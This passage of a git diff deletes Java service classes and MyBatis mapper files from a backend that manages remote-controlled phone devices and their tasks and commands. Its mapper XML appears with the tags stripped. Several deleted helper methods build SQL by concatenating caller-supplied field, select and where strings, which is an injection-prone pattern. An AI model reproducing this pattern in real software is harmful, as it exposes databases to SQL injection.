SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getDeviceCode()); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - - public String snapshop(String deviceCode) throws Exception { - EcDevicePlus device = selectEcDeviceByDeviceCode(deviceCode); - if (device == null || device.getStatus() == null || device.getStatus() == 0) { - return ruoYiConfig.getReqUrl() + "/ec/default/offline.png"; - } - File file = new File(RuoYiConfig.getProfile() + "/ec/" + deviceCode + "/"); - if (!file.exists()) { - file.mkdirs(); - } - String fileName = RtspUtil.screenshot("rtsp://192.168.3.186:554/live/" + deviceCode, RuoYiConfig.getProfile() + "/ec/" + deviceCode + "/"); - return ruoYiConfig.getReqUrl() + "/ec/" + deviceCode + "/" + fileName; - } - - public String mjpegSnapshop(String deviceCode) throws Exception { - EcDevicePlus device = selectEcDeviceByDeviceCode(deviceCode); - if (device == null || device.getStatus() == null || device.getStatus() == 0) { - return ruoYiConfig.getReqUrl() + "/ec/default/offline.png"; - } - File file = new File(RuoYiConfig.getProfile() + "/ec/" + deviceCode + "/"); - if (!file.exists()) { - file.mkdirs(); - } - String fileName = MjpegUtil.snapshot("http://" + device.getIpAddress() + ":8082/stream.mjpeg?clientId=" + deviceCode, RuoYiConfig.getProfile() + "/ec/" + deviceCode + "/"); - return ruoYiConfig.getReqUrl() + "/ec/" + deviceCode + "/" + fileName; - } - - @Override - public EcDevicePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcDevicePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcDevicePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcDevicePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .in(EcDevicePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_device "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_device "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_device "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - - /** - * 查询设备(手机设备) - * - * @param id 设备(手机设备)ID - * @return 设备(手机设备) - */ - @Override - public EcDevice selectEcDeviceById(Long id) { - return ecDeviceMapper.selectEcDeviceById(id); - } - - /** - * 查询设备(手机设备)列表 - * - * @param ecDevice 设备(手机设备) - * @return 设备(手机设备) - */ - @Override - public List selectEcDeviceList(EcDevice ecDevice) { - return ecDeviceMapper.selectEcDeviceList(ecDevice); - } - - /** - * 新增设备(手机设备) - * - * @param ecDevice 设备(手机设备) - * @return 结果 - */ - @Override - public int insertEcDevice(EcDevice ecDevice) { - return ecDeviceMapper.insertEcDevice(ecDevice); - } - - /** - * 修改设备(手机设备) - * - * @param ecDevice 设备(手机设备) - * @return 结果 - */ - @Override - public int updateEcDevice(EcDevice ecDevice) { - return ecDeviceMapper.updateEcDevice(ecDevice); - } - - /** - * 批量删除设备(手机设备) - * - * @param ids 需要删除的设备(手机设备)ID - * @return 结果 - */ - @Override - public int deleteEcDeviceByIds(Long[] ids) { - return ecDeviceMapper.deleteEcDeviceByIds(ids); - } - - /** - * 删除设备(手机设备)信息 - * - * @param id 设备(手机设备)ID - * @return 结果 - */ - @Override - public int deleteEcDeviceById(Long id) { - return ecDeviceMapper.deleteEcDeviceById(id); - } - - @Override - public EcDevicePlus selectEcDeviceByDeviceCode(String deviceCode) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() - .eq(EcDevicePlus::getDeviceCode, deviceCode); - return this.getOne(queryWrapper); - } - - @Override - public void reportDevice(EcDeviceReportDto reportDto) { - EcDevicePlus existDevice = selectEcDeviceByDeviceCode(reportDto.getDeviceCode()); - Date now = new Date(); - - if (existDevice != null) { - existDevice.setBrand(reportDto.getBrand()); - existDevice.setModel(reportDto.getModel()); - existDevice.setOsType(reportDto.getOsType()); - existDevice.setOsVersion(reportDto.getOsVersion()); - existDevice.setAppVersion(reportDto.getAppVersion()); - existDevice.setIpAddress(reportDto.getIpAddress()); - existDevice.setWidthNum(reportDto.getWidthNum()); - existDevice.setHeightNum(reportDto.getHeightNum()); - existDevice.setControlType(reportDto.getControlType()); - existDevice.setAppId(reportDto.getAppId()); - existDevice.setUserId(reportDto.getUserId()); - existDevice.setSecretKey(reportDto.getSecretKey()); - existDevice.setStatus(1); - existDevice.setLastOnlineTime(now); - existDevice.setUpdatedAt(now); - this.updateById(existDevice); - } else { - EcDevicePlus newDevice = new EcDevicePlus(); - newDevice.setDeviceCode(reportDto.getDeviceCode()); - newDevice.setBrand(reportDto.getBrand()); - newDevice.setModel(reportDto.getModel()); - newDevice.setOsType(reportDto.getOsType()); - newDevice.setOsVersion(reportDto.getOsVersion()); - newDevice.setAppVersion(reportDto.getAppVersion()); - newDevice.setIpAddress(reportDto.getIpAddress()); - newDevice.setWidthNum(reportDto.getWidthNum()); - newDevice.setHeightNum(reportDto.getHeightNum()); - newDevice.setControlType(reportDto.getControlType()); - newDevice.setAppId(reportDto.getAppId()); - newDevice.setUserId(reportDto.getUserId()); - newDevice.setSecretKey(reportDto.getSecretKey()); - newDevice.setStatus(1); - newDevice.setLastOnlineTime(now); - newDevice.setCreatedAt(now); - newDevice.setUpdatedAt(now); - this.save(newDevice); - } - } - - @Override - public void heartbeat(EcDeviceHeartbeatDto heartbeatDto) { - EcDevicePlus existDevice = selectEcDeviceByDeviceCode(heartbeatDto.getDeviceCode()); - if (existDevice != null) { - Date now = new Date(); - existDevice.setStatus(1); - existDevice.setLastOnlineTime(now); - existDevice.setUpdatedAt(now); - if (StringUtils.isNotBlank(heartbeatDto.getIpAddress())) { - existDevice.setIpAddress(heartbeatDto.getIpAddress()); - } - this.updateById(existDevice); - } - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceStatusServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceStatusServiceImpl.java deleted file mode 100644 index 7afcf87..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcDeviceStatusServiceImpl.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.luqj.ec.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.ec.mapper.EcDeviceStatusMapper; -import com.luqj.ec.domain.EcDeviceStatus; -import com.luqj.ec.domain.EcDeviceStatusPlus; -import com.luqj.ec.service.IEcDeviceStatusService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * 设备心跳 & 状态(高频)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcDeviceStatusServiceImpl extends ServiceImpl implements IEcDeviceStatusService -{ - @Autowired - private EcDeviceStatusMapper ecDeviceStatusMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcDeviceStatusPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcDeviceStatusPlus::getId, EcDeviceStatusPlus::getDeviceId) - .like(EcDeviceStatusPlus::getDeviceId, keyword); - List list = this.list(lambdaQueryWrapper); - List result =new ArrayList<>(); - for (EcDeviceStatusPlus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getDeviceId()+""); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public EcDeviceStatusPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcDeviceStatusPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcDeviceStatusPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcDeviceStatusPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(EcDeviceStatusPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_device_status "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_device_status "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_device_status "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询设备心跳 & 状态(高频) - * - * @param id 设备心跳 & 状态(高频)ID - * @return 设备心跳 & 状态(高频) - */ - @Override - public EcDeviceStatus selectEcDeviceStatusById(Long id) - { - return ecDeviceStatusMapper.selectEcDeviceStatusById(id); - } - - /** - * 查询设备心跳 & 状态(高频)列表 - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 设备心跳 & 状态(高频) - */ - @Override - public List selectEcDeviceStatusList(EcDeviceStatus ecDeviceStatus) - { - return ecDeviceStatusMapper.selectEcDeviceStatusList(ecDeviceStatus); - } - - /** - * 新增设备心跳 & 状态(高频) - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 结果 - */ - @Override - public int insertEcDeviceStatus(EcDeviceStatus ecDeviceStatus) - { - return ecDeviceStatusMapper.insertEcDeviceStatus(ecDeviceStatus); - } - - /** - * 修改设备心跳 & 状态(高频) - * - * @param ecDeviceStatus 设备心跳 & 状态(高频) - * @return 结果 - */ - @Override - public int updateEcDeviceStatus(EcDeviceStatus ecDeviceStatus) - { - return ecDeviceStatusMapper.updateEcDeviceStatus(ecDeviceStatus); - } - - /** - * 批量删除设备心跳 & 状态(高频) - * - * @param ids 需要删除的设备心跳 & 状态(高频)ID - * @return 结果 - */ - @Override - public int deleteEcDeviceStatusByIds(Long[] ids) - { - return ecDeviceStatusMapper.deleteEcDeviceStatusByIds(ids); - } - - /** - * 删除设备心跳 & 状态(高频)信息 - * - * @param id 设备心跳 & 状态(高频)ID - * @return 结果 - */ - @Override - public int deleteEcDeviceStatusById(Long id) - { - return ecDeviceStatusMapper.deleteEcDeviceStatusById(id); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcTaskCommandServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcTaskCommandServiceImpl.java deleted file mode 100644 index d05dc7f..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcTaskCommandServiceImpl.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.luqj.ec.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.ec.mapper.EcTaskCommandMapper; -import com.luqj.ec.domain.EcTaskCommand; -import com.luqj.ec.domain.EcTaskCommandPlus; -import com.luqj.ec.service.IEcTaskCommandService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * 任务指令明细(一个任务多条指令)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcTaskCommandServiceImpl extends ServiceImpl implements IEcTaskCommandService -{ - @Autowired - private EcTaskCommandMapper ecTaskCommandMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcTaskCommandPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcTaskCommandPlus::getId, EcTaskCommandPlus::getCommandType) - .like(EcTaskCommandPlus::getCommandType, keyword); - List list = this.list(lambdaQueryWrapper); - List result =new ArrayList<>(); - for (EcTaskCommandPlus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getCommandType()); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public EcTaskCommandPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcTaskCommandPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcTaskCommandPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcTaskCommandPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(EcTaskCommandPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_task_command "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_task_command "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_task_command "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询任务指令明细(一个任务多条指令) - * - * @param id 任务指令明细(一个任务多条指令)ID - * @return 任务指令明细(一个任务多条指令) - */ - @Override - public EcTaskCommand selectEcTaskCommandById(Long id) - { - return ecTaskCommandMapper.selectEcTaskCommandById(id); - } - - /** - * 查询任务指令明细(一个任务多条指令)列表 - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 任务指令明细(一个任务多条指令) - */ - @Override - public List selectEcTaskCommandList(EcTaskCommand ecTaskCommand) - { - return ecTaskCommandMapper.selectEcTaskCommandList(ecTaskCommand); - } - - /** - * 新增任务指令明细(一个任务多条指令) - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 结果 - */ - @Override - public int insertEcTaskCommand(EcTaskCommand ecTaskCommand) - { - return ecTaskCommandMapper.insertEcTaskCommand(ecTaskCommand); - } - - /** - * 修改任务指令明细(一个任务多条指令) - * - * @param ecTaskCommand 任务指令明细(一个任务多条指令) - * @return 结果 - */ - @Override - public int updateEcTaskCommand(EcTaskCommand ecTaskCommand) - { - return ecTaskCommandMapper.updateEcTaskCommand(ecTaskCommand); - } - - /** - * 批量删除任务指令明细(一个任务多条指令) - * - * @param ids 需要删除的任务指令明细(一个任务多条指令)ID - * @return 结果 - */ - @Override - public int deleteEcTaskCommandByIds(Long[] ids) - { - return ecTaskCommandMapper.deleteEcTaskCommandByIds(ids); - } - - /** - * 删除任务指令明细(一个任务多条指令)信息 - * - * @param id 任务指令明细(一个任务多条指令)ID - * @return 结果 - */ - @Override - public int deleteEcTaskCommandById(Long id) - { - return ecTaskCommandMapper.deleteEcTaskCommandById(id); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcTaskDeviceServiceImpl.java b/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcTaskDeviceServiceImpl.java deleted file mode 100644 index d232041..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/service/impl/EcTaskDeviceServiceImpl.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.luqj.ec.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.ec.mapper.EcTaskDeviceMapper; -import com.luqj.ec.domain.EcTaskDevice; -import com.luqj.ec.domain.EcTaskDevicePlus; -import com.luqj.ec.service.IEcTaskDeviceService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * 任务-设备关联(一任务多设备)Service业务层处理 - * - * @author luqj - * @date 2026-02-27 - */ -@Service -public class EcTaskDeviceServiceImpl extends ServiceImpl implements IEcTaskDeviceService -{ - @Autowired - private EcTaskDeviceMapper ecTaskDeviceMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(EcTaskDevicePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - @Override - public List select(String keyword) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(EcTaskDevicePlus::getId, EcTaskDevicePlus::getStatus) - .like(EcTaskDevicePlus::getStatus, keyword); - List list = this.list(lambdaQueryWrapper); - List result =new ArrayList<>(); - for (EcTaskDevicePlus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getStatus()+""); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public EcTaskDevicePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(EcTaskDevicePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (EcTaskDevicePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (EcTaskDevicePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(EcTaskDevicePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ec_task_device "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ec_task_device "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ec_task_device "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询任务-设备关联(一任务多设备) - * - * @param id 任务-设备关联(一任务多设备)ID - * @return 任务-设备关联(一任务多设备) - */ - @Override - public EcTaskDevice selectEcTaskDeviceById(Long id) - { - return ecTaskDeviceMapper.selectEcTaskDeviceById(id); - } - - /** - * 查询任务-设备关联(一任务多设备)列表 - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 任务-设备关联(一任务多设备) - */ - @Override - public List selectEcTaskDeviceList(EcTaskDevice ecTaskDevice) - { - return ecTaskDeviceMapper.selectEcTaskDeviceList(ecTaskDevice); - } - - /** - * 新增任务-设备关联(一任务多设备) - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 结果 - */ - @Override - public int insertEcTaskDevice(EcTaskDevice ecTaskDevice) - { - return ecTaskDeviceMapper.insertEcTaskDevice(ecTaskDevice); - } - - /** - * 修改任务-设备关联(一任务多设备) - * - * @param ecTaskDevice 任务-设备关联(一任务多设备) - * @return 结果 - */ - @Override - public int updateEcTaskDevice(EcTaskDevice ecTaskDevice) - { - return ecTaskDeviceMapper.updateEcTaskDevice(ecTaskDevice); - } - - /** - * 批量删除任务-设备关联(一任务多设备) - * - * @param ids 需要删除的任务-设备关联(一任务多设备)ID - * @return 结果 - */ - @Override - public int deleteEcTaskDeviceByIds(Long[] ids) - { - return ecTaskDeviceMapper.deleteEcTaskDeviceByIds(ids); - } - - /** - * 删除任务-设备关联(一任务多设备)信息 - * - * @param id 任务-设备关联(一任务多设备)ID - * @return 结果 - */ - @Override - public int deleteEcTaskDeviceById(Long id) - { - return ecTaskDeviceMapper.deleteEcTaskDeviceById(id); - } -} diff --git a/luqj-ec/src/main/resources/mapper/ec/EcCommandResultMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcCommandResultMapper.xml deleted file mode 100644 index d76d0a4..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcCommandResultMapper.xml +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - - - - - - select id, command_id, device_id, result, error_msg, response_data, created_at from ec_command_result - - - - - - - - insert into ec_command_result - - command_id, - device_id, - result, - error_msg, - response_data, - created_at, - - - #{commandId}, - #{deviceId}, - #{result}, - #{errorMsg}, - #{responseData}, - #{createdAt}, - - - - - update ec_command_result - - command_id = #{commandId}, - device_id = #{deviceId}, - result = #{result}, - error_msg = #{errorMsg}, - response_data = #{responseData}, - created_at = #{createdAt}, - - where id = #{id} - - - - delete from ec_command_result where id = #{id} - - - - delete from ec_command_result where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/src/main/resources/mapper/ec/EcControlTaskMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcControlTaskMapper.xml deleted file mode 100644 index 0fd0737..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcControlTaskMapper.xml +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - - - - - - - select id, task_name, task_type, user_id, status, created_at, updated_at, app_id from ec_control_task - - - - - - - - insert into ec_control_task - - task_name, - task_type, - user_id, - status, - created_at, - updated_at, - app_id, - - - #{taskName}, - #{taskType}, - #{userId}, - #{status}, - #{createdAt}, - #{updatedAt}, - #{appId}, - - - - - update ec_control_task - - task_name = #{taskName}, - task_type = #{taskType}, - user_id = #{userId}, - status = #{status}, - created_at = #{createdAt}, - updated_at = #{updatedAt}, - app_id = #{appId}, - - where id = #{id} - - - - delete from ec_control_task where id = #{id} - - - - delete from ec_control_task where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/src/main/resources/mapper/ec/EcDeviceCommandMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcDeviceCommandMapper.xml deleted file mode 100644 index 43724b6..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcDeviceCommandMapper.xml +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - - - - - - - select id, device_id, command_type, command_content, status, send_time, execute_time, finish_time from ec_device_command - - - - - - - - insert into ec_device_command - - device_id, - command_type, - command_content, - status, - send_time, - execute_time, - finish_time, - - - #{deviceId}, - #{commandType}, - #{commandContent}, - #{status}, - #{sendTime}, - #{executeTime}, - #{finishTime}, - - - - - update ec_device_command - - device_id = #{deviceId}, - command_type = #{commandType}, - command_content = #{commandContent}, - status = #{status}, - send_time = #{sendTime}, - execute_time = #{executeTime}, - finish_time = #{finishTime}, - - where id = #{id} - - - - delete from ec_device_command where id = #{id} - - - - delete from ec_device_command where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/src/main/resources/mapper/ec/EcDeviceMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcDeviceMapper.xml deleted file mode 100644 index 0028e57..0000000 --- a/luqj-ec/src/main/resources/mapper/ec/EcDeviceMapper.xml +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, device_code, brand, model, os_type, os_version, app_version, status, last_online_time, created_at, updated_at, ip_address, last_screen_pic, width_num, height_num, control_type, app_id, user_id, secret_key from ec_device - - - - - - - - insert into ec_device - - device_code, - brand, - model, - os_type, - os_version, - app_version, - status, - last_online_time, - created_at, - updated_at, - ip_address, - last_screen_pic, - width_num, - height_num, - control_type, - app_id, - user_id, - secret_key, - - - #{deviceCode}, - #{brand}, - #{model}, - #{osType}, - #{osVersion}, - #{appVersion}, - #{status}, - #{lastOnlineTime}, - #{createdAt}, - #{updatedAt}, - #{ipAddress}, - #{lastScreenPic}, - #{widthNum}, - #{heightNum}, - #{controlType}, - #{appId}, - #{userId}, - #{secretKey}, - - - - - update ec_device - - device_code = #{deviceCode}, - brand = #{brand}, - model = #{model}, - os_type = #{osType}, - os_version = #{osVersion}, - app_version = #{appVersion}, - status = #{status}, - last_online_time = #{lastOnlineTime}, - created_at = #{createdAt}, - updated_at = #{updatedAt}, - ip_address = #{ipAddress}, - last_screen_pic = #{lastScreenPic}, - width_num = #{widthNum}, - height_num = #{heightNum}, - control_type = #{controlType}, - app_id = #{appId}, - user_id = #{userId}, - secret_key = #{secretKey}, - - where id = #{id} - - - - delete from ec_device where id = #{id} - - - - delete from ec_device where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-ec/src/main/resources/mapper/ec/EcDeviceStatusMapper.xml b/luqj-ec/src/main/resources/mapper/ec/EcDeviceStatusMapper.xml deleted file mode 100644 